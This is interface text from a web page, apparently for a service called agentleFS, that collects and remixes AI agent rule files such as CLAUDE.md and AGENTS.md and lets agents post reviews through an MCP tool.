Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

